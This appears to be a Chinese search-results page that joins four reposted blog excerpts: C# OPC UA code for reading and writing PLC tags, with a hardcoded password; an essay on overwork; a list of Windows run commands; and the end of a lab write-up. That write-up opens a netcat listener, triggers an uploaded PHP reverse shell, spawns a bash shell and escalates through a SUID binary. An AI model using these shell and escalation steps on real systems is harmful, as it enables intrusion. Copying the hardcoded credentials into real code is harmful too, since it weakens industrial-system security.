[事件监听器 ]的搜索结果

...灵活，可以实现报警与事件、数据存取、历史数据存取、控制命令、复杂数据的交互通信； OPC UA比OPC DA更安全。OPC UA传递的数据是可以加密的，并对通信连接和数据本身都可以实现安全控制。新的安全模型保证了数据从原始设备到MES,ERP系统,从本地到远程的各级自动化和信息化系统的可靠传递； OPC UA可以穿越防火墙，实现Internet 通讯。 依赖 我们通常不会从头写，可以基于OpcUa.core.dll库和OpcUa.Client.dll库，而且附上这2个库的源代码。 配置OpcUA Server 您可以安装任何一款支持OPCUA的服务端软件进行以下配置（此为示例配置，您可根据你的实际情况进行配置） 1、OpcUa Server Url：opc.tcp://192.168.100.1:4840。 2、OpcUa EndPoint：[UaServer@cMT-EAB9] [None] [None] [opc.tcp://192.168.100.1:4840/G01] 3、PLC Device Name：Siemens S7-1200/S7-1500 4、Account：user1 5、Password：自己设置 6、在PLC中开了2个数据块，分别为DB4长度110个字、DB5长度122个字。 7、对应第4块创建标签，第一个名称为DB4.0-99，地址为DB4DBW0.100，数据类型为Short，长度100，即定义长度最长为100的Short数组。第二个名称为DB4.100-109，地址为DB4DBW100.10，数据类型为Short，方便快速读取。 5、对应第5块创建3个标签，第一个名称为DB5.0-99，地址为DB5DBW0.100，数据类型为Short，第二个名称为DB5.100-121， 地址为DB5DBW100.22，数据类型为Short，即定义长度最长为100的Short数组。方便快速读取。第三个标签名称为DB5DBW64，地址为DB5DBW64，数据类型为Short。 具体如下图： 关键代码 using System;using System.Collections.Generic;using System.Linq;using Opc.Ua.Helper;using Mesnac.Equips;namespace Mesnac.Equip.OPC.OpcUa.OPCUA{public class Equip : BaseEquip{region 字段定义private bool _isOpen = false; //是否已打开设备private bool _isClosing = false; //是否正在关闭设备private OPCUAClass myOpcHelper; //OPCUA设备访问辅助对象private Dictionary<string, string> dicTags = null; //保存标签集合private Dictionary<string, object> readResult = null; //设备标签数据缓存private int stepLen = 250; //标签变量的步长设置private string groupNamePrefix = "DB"; //数据块号前缀private string childTagFlag = "~"; //子元素标签标志符private System.Threading.Thread innerReadThread = null; //内部读取线程对象private int innerReadRate = 1000; //内部读取频率endregionregion 属性定义/// <summary>/// OPCUA Server Url/// </summary>public string OpcUaServerUrl{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).OpcUaServerUrl;return "opc.tcp://192.168.1.102:4840";//return "opc.tcp://192.168.100.1:4840";//return "opc.tcp://192.168.100.2:4840";} }/// <summary>/// 要连接的OPCUA服务器上的服务名/// </summary>public string OpcUaServiceName{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).OpcUaServiceName;return "[UaServer@cMT-9F1F] [None] [None] [opc.tcp://192.168.1.102:4840/G01]";//return "[UaServer@cMT-EAB9] [None] [None] [opc.tcp://192.168.100.1:4840/G01]";//return "[UaServer@cMT-EA5B] [None] [None] [opc.tcp://192.168.100.2:4840/G02]";//return "[UaServer@cMT-EA5B] [None] [None] [opc.tcp://192.168.100.2:4840/G01]";} }/// <summary>/// 要连接的OPCUA服务器上指定服务名下的PLC的名称/// </summary>public string PLCName{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).PLCName;//return "Feeding";return "Siemens_192.168.2.1";//return "Rockwell_192.168.1.10";} }/// <summary>/// OPCUA服务器的访问账户/// </summary>public string Account{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).Account;return "user1";} }/// <summary>/// OPCUA服务器的访问密码/// </summary>public string Password{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).Password;return "1";} }endregionregion BaseEquip成员实现/// <summary>/// 打开连接设备/// </summary>/// <returns>成功返回true，失败返回false</returns>public override bool Open(){lock (this){this._isClosing = false;if (this._isOpen == true && this.myOpcHelper != null){return true;}this.State = false;this.myOpcHelper = new OPCUAClass();this.dicTags = this.myOpcHelper.ConnectOPCUA(this.OpcUaServerUrl, this.Account, this.Password, this.OpcUaServiceName, this.PLCName); //连接OPCServerif (this.dicTags == null || this.dicTags.Count == 0){this.myOpcHelper = null;Console.WriteLine("OPC连接失败!");this.State = false;return false;}else{this.State = true;this._isOpen = true;region 初始化读取结果this.readResult = new Dictionary<string, object>();foreach (Equips.BaseInfo.Group group in this.Group.Values){if (!group.IsAutoRead){continue;}int groupMinStart = group.Start;int groupMaxEnd = group.Start + group.Len;int groupMaxLen = group.Len;foreach (Equips.BaseInfo.Group g in this.Group.Values){if (!g.IsAutoRead){continue;}if (g.Block == group.Block){if (g.Start < group.Start){groupMinStart = g.Start;}if (g.Start + g.Len > groupMaxEnd){groupMaxEnd = g.Start + g.Len;} }}groupMaxLen = groupMaxEnd - groupMinStart;int tagCount = groupMaxLen % this.stepLen == 0 ? groupMaxLen / this.stepLen : groupMaxLen / this.stepLen + 1;int currLen = 0;for (int i = 0; i < tagCount; i++){string tagName = String.Empty;if (tagCount == 1){tagName = String.Format("{0}-{1}", groupMinStart, groupMinStart + groupMaxLen - 1);currLen = groupMaxLen;}else if (i == tagCount - 1){tagName = String.Format("{0}-{1}", groupMinStart + (i this.stepLen), groupMinStart + (i this.stepLen) + (groupMaxLen % this.stepLen == 0 ? this.stepLen : groupMaxLen % this.stepLen) - 1);currLen = groupMaxLen % this.stepLen;}else{tagName = String.Format("{0}-{1}", groupMinStart + (i this.stepLen), groupMinStart + (i this.stepLen) + this.stepLen - 1);currLen = this.stepLen;}string tagFullName = String.Format("{0}{1}.{2}", groupNamePrefix, group.Block, tagName);if (!this.readResult.ContainsKey(tagFullName)){bool exists = false;region 判断读取结果标签组的范围是否包括了此标签 比如tagFullName DB5.220-299,在readResult中存在 DB5.200-299，则认为已存在，不需要再添加string[] beginend = null;int begin = 0;int end = 0;string[] startstop = tagFullName.Replace(String.Format("{0}{1}.", groupNamePrefix, group.Block), String.Empty).Split(new char[] { '-' });int start = 0;int stop = 0;bool parseResult = false;if (startstop.Length == 2){parseResult = int.TryParse(startstop[0], out start);if (parseResult){parseResult = int.TryParse(startstop[1], out stop);} }if (parseResult){int existsMinBegin = 0; //已存在标签的最小开始索引int existsMaxEnd = 0; //已存在标签的最大结束索引bool isContinue = true; //标签值是否连续string[] existsTags = this.readResult.Keys.ToArray<string>();foreach (string tag in existsTags){if (tag.StartsWith(String.Format("{0}{1}.", groupNamePrefix, group.Block)) && tag.Contains(".") && tag.Contains("-")){string[] tagname = tag.Split(new char[] { '.' });if (tagname.Length == 2){beginend = tagname[1].Split(new char[] { '-' });if (beginend.Length == 2){parseResult = int.TryParse(beginend[0], out begin);if (parseResult){parseResult = int.TryParse(beginend[1], out end);}region 计算最小开始索引和最大结束索引if (begin < existsMinBegin){existsMinBegin = begin;region 判断标签值是否连续if (existsMaxEnd != 0 && begin != existsMaxEnd + 1){isContinue = false;}endregion}if (end > existsMaxEnd){existsMaxEnd = end;}endregion} }if (parseResult){if (start >= begin && stop <= end){exists = true;break;}if (isContinue){if (start >= existsMinBegin && stop <= existsMaxEnd){exists = true;break;} }} }} }endregionif (!exists){ushort[] groupData = new ushort[currLen];this.readResult[tagFullName] = groupData;Console.WriteLine(tagFullName);} }}//int tagCount = group.Len % this.stepLen == 0 ? group.Len / this.stepLen : group.Len / this.stepLen + 1;//int currLen = 0;//for (int i = 0; i < tagCount; i++)//{// string tagName = String.Empty;// if (tagCount == 1)// {// tagName = String.Format("{0}-{1}", group.Start, group.Start + group.Len - 1);// currLen = group.Len;// }// else if (i == tagCount - 1)// {// tagName = String.Format("{0}-{1}", group.Start + (i this.stepLen), group.Start + (i this.stepLen) + (group.Len % this.stepLen == 0 ? this.stepLen : group.Len % this.stepLen) - 1);// currLen = group.Len % this.stepLen;// }// else// {// tagName = String.Format("{0}-{1}", group.Start + (i this.stepLen), group.Start + (i this.stepLen) + this.stepLen - 1);// currLen = this.stepLen;// }// string tagFullName = String.Format("{0}{1}.{2}", groupNamePrefix, group.Block, tagName);// if (!this.readResult.ContainsKey(tagFullName))// {// short[] groupData = new short[currLen];// this.readResult[tagFullName] = groupData;// }//} }endregionregion 开启内部定时读取if (this.innerReadThread == null){this.innerReadRate = this.Main.ReadHz / 2;this.innerReadThread = new System.Threading.Thread(this.InnerAutoRead);this.innerReadThread.Start();}endregion}return this.State;} }/// <summary>/// 从设备读取数据/// </summary>/// <param name="block">要读取的块号</param>/// <param name="start">要读取的起始字</param>/// <param name="len">要读取的长度</param>/// <param name="buff">读取成功后的输出数据</param>/// <returns>成功返回true，失败返回false</returns>public override bool Read(string block, int start, int len, out object[] buff){lock (this){buff = null;if (this._isClosing){return false;}string readstrflag = String.Format("{0}{1}.{2}-{3}", this.groupNamePrefix, block, start, start + len - 1);System.Text.StringBuilder sbtaglength = new System.Text.StringBuilder();string startTag = String.Empty;string groupName = String.Format("{0}{1}", this.groupNamePrefix, block); //要读取的OPCServer块List<ushort> groupData = new List<ushort>();List<string> groupTagNames = new List<string>();int startIndex = 0;try{if (!Open()){return false;}//return true;string[] keys = this.readResult.Keys.ToArray<string>();foreach (string key in keys){if (key.StartsWith(groupName) && key.Replace(String.Format("{0}.", groupName), String.Empty).Contains("-")){groupTagNames.Add(key);} }groupTagNames.Sort(); //对块标签进行排序foreach (string key in groupTagNames){if (String.IsNullOrEmpty(startTag)){startTag = key.Replace(String.Format("{0}.", groupName), String.Empty);}ushort[] values;if (this.readResult[key] is ushort[]){values = this.readResult[key] as ushort[];}else{values = new ushort[] { (ushort)this.readResult[key] };}sbtaglength.Append(String.Format("tagName={0}, buff length = {1}", key, values.Length));groupData.AddRange(values);}buff = new object[len];if (!String.IsNullOrEmpty(startTag)){string strStartIndex = startTag.Substring(0, startTag.IndexOf("-"));int.TryParse(strStartIndex, out startIndex);startIndex = start - startIndex;Array.Copy(groupData.ToArray(), startIndex, buff, 0, buff.Length);}else{}return true;}catch (Exception ex){Console.WriteLine(String.Join(";", groupTagNames.ToArray<string>()));Console.WriteLine("data length = " + groupData.Count);Console.WriteLine(this.Name + "读取失败[" + readstrflag + "]:" + ex.Message);Console.WriteLine(sbtaglength.ToString());this.State = false;return false;} }}/// <summary>/// 写入数据到设备/// </summary>/// <param name="block">要写入的块号</param>/// <param name="start">要写入的起始字</param>/// <param name="buff">要写如的数据</param>/// <returns>成功返回true，失败返回false</returns>public override bool Write(int block, int start, object[] buff){bool result = true;lock (this){try{if (this._isClosing){return false;}if (!Open()){return false;}bool isWrite = false;region 按标签变量写入string itemId = "";foreach (Equips.BaseInfo.Group group in this.Group.Values){if (group.Block == block.ToString()){foreach (Equips.BaseInfo.Data data in group.Data.Values){if (group.Start + data.Start == start && data.Len == buff.Length){if (this.dicTags.ContainsKey(data.Name)){itemId = this.dicTags[data.Name];}break;} }} }if (!String.IsNullOrEmpty(itemId)){UInt16[] intBuff = new UInt16[buff.Length];for (int i = 0; i < intBuff.Length; i++){intBuff[i] = 0;if (!UInt16.TryParse(buff[i].ToString(), out intBuff[i])){Console.WriteLine("在写入OPCUA标签时把buff中的元素转为UInt16类型失败!");} }result = this.myOpcHelper.WriteUInt16(itemId, intBuff);if (!result){Console.WriteLine(String.Format("标签变量[{0}]写入失败!", itemId));return false;}else{Console.WriteLine("按标签变量写入..." + itemId);isWrite = true;} }if (isWrite){return true;}endregionregion 按块写入region 先读取相应标签数数据string startTag = String.Empty;string groupName = String.Format("{0}{1}", this.groupNamePrefix, block); //要读取的OPCServer块List<ushort> groupData = new List<ushort>();string[] keys = readResult.Keys.Where(o => o.StartsWith(groupName) && o.Contains("-")).OrderBy(c => c).ToArray<string>();foreach (string key in keys){if (String.IsNullOrEmpty(startTag)){startTag = key.Replace(String.Format("{0}.", groupName), String.Empty);}string[] beginEnd = key.Replace(String.Format("{0}.", groupName), String.Empty).Split(new char[] { '-' });if (beginEnd.Length != 2){Console.WriteLine(String.Format("标签变量[{0}]未按约定方式命名，请按[DB块号].[起始字-结束字]方式标签变量进行命名！", String.Format("{0}.{1}", key)));return false;}int begin = 0;int end = 0;int.TryParse(beginEnd[0], out begin);int.TryParse(beginEnd[1], out end);region 写入之前，先读取一下PLC的值if ((start >= begin && start <= end) || ((start + buff.Length - 1) >= begin && (start + buff.Length - 1) <= end) || (start < begin && (start + buff.Length - 1) > end)){this.ReadTag(key);if (this.readResult.ContainsKey(key) && this.readResult[key] is Array){Console.WriteLine("read = " + key);groupData.AddRange(this.readResult[key] as ushort[]);}else{Console.WriteLine(String.Format("读取结果中不包含标签变量[{0}]的值!", String.Format("{0}", key)));} }else{if (this.readResult.ContainsKey(key) && this.readResult[key] is Array){Console.WriteLine("no read = " + key);groupData.AddRange(this.readResult[key] as ushort[]);} }endregion}endregionif (String.IsNullOrEmpty(startTag)){Console.WriteLine("写入失败，未在OPCUAserver中找到对应的标签,block = {0}, start = {1}, len = {2}", block, start, buff.Length);return false;}region 更新标签中对应的数据后，再写回OPCServerint startIndex = 0;string strStartIndex = startTag.Substring(0, startTag.IndexOf("-"));int.TryParse(strStartIndex, out startIndex);startIndex = start - startIndex;ushort[] newDataBuffer = groupData.ToArray();for (int i = 0; i < buff.Length; i++){ushort svalue = 0;ushort.TryParse(buff[i].ToString(), out svalue);newDataBuffer[startIndex + i] = svalue;}int index = 0;string[] keys2 = readResult.Keys.Where(o => o.StartsWith(groupName) && o.Contains("-")).OrderBy(c => c).ToArray<string>();foreach (string key2 in keys2){string[] beginEnd = key2.Replace(String.Format("{0}.", groupName), String.Empty).Split(new char[] { '-' });if (beginEnd.Length != 2){Console.WriteLine(String.Format("标签变量[{0}]未按约定方式命名，请按[DB块号].[起始字-结束字]方式标签变量进行命名！", String.Format("{0}", key2)));return false;}int begin = 0;int end = 0;int.TryParse(beginEnd[0], out begin);int.TryParse(beginEnd[1], out end);if ((start >= begin && start <= end) || ((start + buff.Length - 1) >= begin && (start + buff.Length - 1) <= end) || (start < begin && (start + buff.Length - 1) > end)){//Console.WriteLine("---------------------------------------------------------");//Console.WriteLine("start = " + start);//Console.WriteLine("start + buff.Length - 1 = " + (start + buff.Length -1));//Console.WriteLine("begin = " + begin);//Console.WriteLine("end = " + end);//Console.WriteLine("---------------------------------------------------------");if (!this.dicTags.ContainsKey(key2)){Console.WriteLine(String.Format("写入失败：标签变量[{0}]在OpcUA Server中未定义!", String.Format("{0}", key2)));return false;}int len = (this.readResult[key2] as ushort[]).Length;ushort[] tagDataBuff = new ushort[len];//Console.WriteLine("newDataBuff");//Console.WriteLine(String.Join(",", newDataBuffer));//Console.WriteLine("index = " + index);//Console.WriteLine("tagDataBuff.Length = " + tagDataBuff.Length);//Array.Copy(newDataBuffer, begin, tagDataBuff, 0, tagDataBuff.Length);int existsMinBegin = this.GetExistsMinBeginByBlock(block.ToString());Array.Copy(newDataBuffer, begin - existsMinBegin, tagDataBuff, 0, tagDataBuff.Length);index += tagDataBuff.Length;//Console.WriteLine("Write " + key2);//Console.WriteLine(String.Join(",", tagDataBuff));//Console.WriteLine("写入标签：" + this.dicTags[key2]);result = this.myOpcHelper.WriteUInt16(this.dicTags[key2], tagDataBuff);if (!result){Console.WriteLine(String.Format("向标签变量[{0}]中写入值失败!", String.Format("{0}", key2)));return false;}else{this.ReadTag(key2);Console.WriteLine("写入...");}//Console.WriteLine("---------------------------------------------------------");} }endregionendregionreturn result;}catch (Exception ex){Console.WriteLine(this.Name + "写入失败:" + ex.Message);return false;} }}/// <summary>/// 关闭方法，断开与设备的连接释放资源/// </summary>public override void Close(){try{this._isClosing = true;System.Threading.Thread.Sleep(this.Main.ReadHz);if (this.innerReadThread != null){this.innerReadThread.Abort();this.innerReadThread = null;} }catch (Exception ex){Console.WriteLine("关闭内部读取OPCUA线程异常：" + ex.Message);}try{if (this.myOpcHelper != null){this.myOpcHelper.Close();this.myOpcHelper = null;this.State = false;this._isOpen = false;} }catch (Exception ex){Console.WriteLine("关于与OPCUA服务连接异常：" + ex.Message);} }endregionregion 辅助方法/// <summary>/// 获取某个数据块标签的最小开始索引/// </summary>/// <param name="block">块号</param>/// <returns>返回数据块标签的最小开始索引</returns>private int GetExistsMinBeginByBlock(string block){int existsMinBegin = 99999; //已存在标签的最小开始索引int existsMaxEnd = 0; //已存在标签的最大结束索引bool isContinue = true; //标签值是否连续string[] existsTags = this.readResult.Keys.ToArray<string>();string[] beginend = null;bool parseResult = false;int begin = 0;int end = 0;foreach (string tag in existsTags){if (tag.StartsWith(String.Format("{0}{1}.", groupNamePrefix, block)) && tag.Contains(".") && tag.Contains("-")){string[] tagname = tag.Split(new char[] { '.' });if (tagname.Length == 2){beginend = tagname[1].Split(new char[] { '-' });if (beginend.Length == 2){parseResult = int.TryParse(beginend[0], out begin);if (parseResult){parseResult = int.TryParse(beginend[1], out end);}region 计算最小开始索引和最大结束索引if (begin < existsMinBegin){existsMinBegin = begin;region 判断标签值是否连续if (existsMaxEnd != 0 && begin != existsMaxEnd + 1){isContinue = false;}endregion}if (end > existsMaxEnd){existsMaxEnd = end;}endregion} }if (parseResult){//} }}return existsMinBegin;}/// <summary>/// 读取标签/// </summary>/// <param name="tagName"></param>private void ReadTag(string tagName){UInt16[] buff = null;if (this.dicTags.ContainsKey(tagName)){if (this.myOpcHelper.ReadUInt16(this.dicTags[tagName], out buff)){//Console.WriteLine("tagName={0}, buff length = {1}", tagName, buff.Length);if (this.readResult.ContainsKey(tagName)){this.readResult[tagName] = buff;}else{this.readResult.Add(tagName, buff);} }else{Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.ReadTag Exception 读取标签：[{0}]失败!", tagName);} }else{Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.ReadTag Exception OPCUA Server中未定义此标签：[{0}]!", tagName);} }/// <summary>/// 内部自动读取方法/// </summary>private void InnerAutoRead(){while (this._isOpen && this._isClosing == false){try{if (this.myOpcHelper == null){this._isClosing = true;this.State = false;return;}lock (this){string[] keys = this.readResult.Keys.ToArray<string>();foreach (string key in keys){this.ReadTag(key);} }System.Threading.Thread.Sleep(this.innerReadRate);}catch (Exception ex){Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.InnerAutoRead Exception : " + ex.Message);} }this.innerReadThread = null;}endregionregion 析构方法~Equip(){this.Close();}endregion} } 代码下载 代码下载 本篇文章为转载内容。原文链接：https://blog.csdn.net/zlbdmm/article/details/96714776。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...发生改变后会产生一个事件，然后关注这一改变的逻辑，就会订阅这个通知，并改变于其相关数据，从而实现不同数据的最终一致）。 接着由于DynamoDB无法提供SQL那样方便的查询机制，为了实现数据分析就又引入了EMR/MapReduceJob。 到此，大家可以看到实现一样的功能，但是复杂性大大增加，维护工作也由一个人变成了一个团队。 过度忙碌使你落后 对于 IT 人而言忙碌已成为了习惯，加班常挂在嘴边。“996”工作制似乎也变成了公司高效的标志。而事实上过度的忙碌使你落后。经常遇见一些朋友，在一个公司没日没夜的干了几年，没有留一点学习时间给自己。几年之后倒是对公司越来越“忠诚”了，但忙碌的工作同时也导致了没有时间更新知识，使得自己已经落后了，连跳槽的能力和勇气都失去了。 过度忙碌会导致没有时间学习和更新自己的知识，尤其在这个高速发展的时代。我在工作经历中发现过度繁忙通常会带来以下问题： 缺乏学习导致工作能力没有提升，而面对的问题却变得日益复杂。 技术和业务上没有更大的领先优势，只能被动紧紧追赶。试想一下，要是你都领先同行业五年了，还会在乎通过加班来早一个月发布吗？ 反过来上面这些问题会导致你更加繁忙，进而更没有时间提高自己的技术技能，很快就形成了一个恶性循环。 练过健身的朋友都知道，光靠锻炼是不行的，营养补充和锻炼同样重要。个人技术成长其实也一样，实践和学习是一样重要的，当你在一个领域工作了一段时间以后，工作对你而言就主要是实践了，随着你对该领域的熟悉，能学习的到技术会越来越少。所以每个技术人员都要保证充足的学习时间，否则很容易成为井底之蛙，从而陷入前面提到的恶性循环。 最后，以伟大诗人屈原的诗句和大家共勉：“路漫漫其修远兮，吾将上下而求索“。希望我们大家都可以不忘初心，保持匠心！ 作者简介： 蔡超，Mobvista 技术 VP 兼首席架构师，SpotMax 云服务创始人。拥有超过 15 年的软件开发经验，其中 9 年任世界级 IT 公司软件架构师/首席软件架构师。2017 年加入 Mobvista，任公司技术副总裁及首席架构师，领导公司的数字移动营销平台的开发，该平台完全建立于云计算技术之上，每天处理来自全球不同 region 的超过 600 亿次的请求。 在加入 Mobvista 之前，曾任亚马逊全球直运平台首席架构师，亚马逊（中国）首席架构师，曾领导了亚马逊的全球直运平台的开发，并领导中国团队通过 AI 及云计算技术为中国客户打造更好的本地体验；曾任 HP（中国）移动设备管理系统首席软件架构师，该系统曾是全球最大的无线设备管理系统（OMA DM）（客户包括中国移动，中国联通，中国电信等）；曾任北京天融信网络安全技术公司，首席软件架构师，领导开发的网络安全管理系统（TopAnalyzer）至今仍被政府重要部门及军队广为采用，该系统也曾成功应用于 2008 北京奥运，2010 上海世博等重要事件的网络安全防护。 本篇文章为转载内容。原文链接：https://blog.csdn.net/Honnyee/article/details/111896981。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

....eventvwr：事件查看器 28.explorer：打开资源管理器 29.Firewall.cpl：Windows防火墙 30.FXSCOVER：传真封面编辑器 31.fsmgmt.msc：共享文件夹管理器 32.gpedit.msc：组策略 33.hdwwiz.cpl：设备管理器 34.inetcpl.cpl：Internet属性 35.intl.cpl：区域 36.iexpress：木马捆绑工具，系统自带 37.joy.cpl：游戏控制器 38.logoff：注销命令 39.lusrmgr.msc：本地用户和组 40.lpksetup：语言包安装/删除向导，安装向导会提示下载语言包 41.lusrmgr.msc：本机用户和组 42.main.cpl：鼠标属性 43.mmsys.cpl：声音 44.magnify：放大镜实用程序 45.mem.exe：显示内存使用情况(如果直接运行无效，可以先管理员身份运行命令提示符，在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt，里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。) 46.MdSched:Windows内存诊断程序 47.mmc：打开控制台 48.mobsync：同步命令 49.mplayer2：简易widnows media player 50.Msconfig.exe：系统配置实用程序 51.msdt：微软支持诊断工具 52.msinfo32：系统信息 53.mspaint：画图 54.Msra：Windows远程协助 55.mstsc：远程桌面连接 56.NAPCLCFG.MSC：客户端配置 57.ncpa.cpl：网络连接 58.narrator：屏幕“讲述人” 59.Netplwiz：高级用户帐户控制面板，设置登陆安全相关的选项 60.netstat : an(TC)命令检查接口 61.notepad：打开记事本 62.Nslookup：IP地址侦测器 63.odbcad32：ODBC数据源管理器 64.OptionalFeatures：打开“打开或关闭Windows功能”对话框 65.osk：打开屏幕键盘 66.perfmon.msc：计算机性能监测器 67.perfmon：计算机性能监测器 68.PowerShell：提供强大远程处理能力 69.printmanagement.msc：打印管理 70.powercfg.cpl：电源选项 71.psr：问题步骤记录器 72.Rasphone：网络连接 73.Recdisc：创建系统修复光盘 74.Resmon：资源监视器 75.Rstrui：系统还原 76.regedit.exe：注册表 77.regedt32：注册表编辑器 78.rsop.msc：组策略结果集 79.sdclt：备份状态与配置，就是查看系统是否已备份 80.secpol.msc：本地安全策略 81.services.msc：本地服务设置 82.sfc /scannow：扫描错误并复原/windows文件保护 83.sfc.exe：系统文件检查器 84.shrpubw：创建共享文件夹 85.sigverif：文件签名验证程序 86.slui：Windows激活，查看系统激活信息 87.slmgr.vbs -dlv ：显示详细的许可证信息 88.snippingtool：截图工具，支持无规则截图 89.soundrecorder：录音机，没有录音时间的限制 90.StikyNot：便笺 91.sysdm.cpl：系统属性 92.sysedit：系统配置编辑器 93.syskey：系统加密，一旦加密就不能解开，保护系统的双重密码 94.taskmgr：任务管理器(旧版) 95.TM任务管理器(新版) 96.taskschd.msc：任务计划程序 97.timedate.cpl：日期和时间 98.UserAccountControlSettings用户账户控制设置 99.utilman：辅助工具管理器 100.wf.msc：高级安全Windows防火墙 101.WFS：Windows传真和扫描 102.wiaacmgr：扫描仪和照相机向导 103.winver：关于Windows 104.wmimgmt.msc：打开windows管理体系结构(WMI) 105.write：写字板 106.wscui.cpl：操作中心 107.wuapp：Windows更新 108.wscript：windows脚本宿主设置 六、小结 键盘快捷键会大大提高使用效率，让你在外行面前显得更酷。持续更新中…感谢点赞，评论与转发，谢谢！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_44168588/article/details/121208530。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到 尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？ 总结 本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权 本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

